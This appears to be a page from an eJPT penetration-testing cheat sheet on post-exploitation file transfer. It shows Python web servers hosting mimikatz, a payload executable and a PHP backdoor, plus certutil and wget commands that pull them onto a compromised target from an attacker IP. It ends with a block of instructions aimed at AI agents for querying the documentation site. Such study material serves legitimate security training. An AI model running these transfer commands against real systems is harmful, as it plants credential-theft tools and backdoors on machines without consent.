# Transferring Files
## [Python Web Server](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/Tools_and_setup/set_up_a_local_testing_server)
**`Python`** modules can be useful for setting up a web server that hosts the files required for transfer. These modules
* Check `Python` version
```
python -V
python3 -V
py -v # on Windows
```
* [**`SimpleHTTPServer`**](https://docs.python.org/2.7/library/simplehttpserver.html#module-SimpleHTTPServer) - `python2` module
```
# If Python version returned is 2.X
python -m SimpleHTTPServer
```
* [**`http.server`**](https://docs.python.org/3/library/http.server.html) - `python3` module
```
# If Python version is 3.X
python3 -m http.server
```
```
# On Windows, try
python -m http.server
py -3 -m http.server
```
**`e.g.`**
* Copy a file into the current directory and setup the web server to download the file into the target system
```
cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .
# Python 2.7
python -m SimpleHTTPServer 80
# Python 3.7
python3 -m http.server 80
```
* Files can be downloaded from a browser or using a `GET` request
## Transferring Files
## **#Windows**
* Set up a web server to host the `payload.exe` file
```
# Attacker machine
cd /root/Desktop/ # payload.exe must be here
python3 -m http.server 80
```
* After gaining access to the Windows target system and spawned a command shell session, download the payload file on the target system using the `certutil` tool in `cmd`.
```
# Windows Target machine
cd C:\Temp
certutil -urlcache -f http:///payload.exe payload.exe
```
## **#Linux**
* After exploiting the Linux target, transfer the `php-backdoor.php` file to the target.
* 2 terminal sessions are necessary - use `tmux` utility to get more sessions.
[**`tmux`**](https://github.com/tmux/tmux/wiki) - *is a program, **terminal multiplexer**, which runs in a terminal and allows multiple other terminal programs to be run inside it*
```
sudo apt install tmux -y
```
```
# Attacker machine
tmux
# ... Exploitation with MSFconsole in Terminal 0 ...
# CTRL+B and then C to open a new terminal session
cd /usr/share/webshells/php/
ip -br -c a
192.219.50.2
python3 -m http.server 80
```
```
# CTRL+B then 0 (zero) to navigate to the first Terminal session
# Target machine
/bin/bash -i
wget http://192.219.50.2/php-backdoor.php
```
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://yashmehta.gitbook.io/ejptv2-cheatsheet/post-exploitation/transferring-files.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
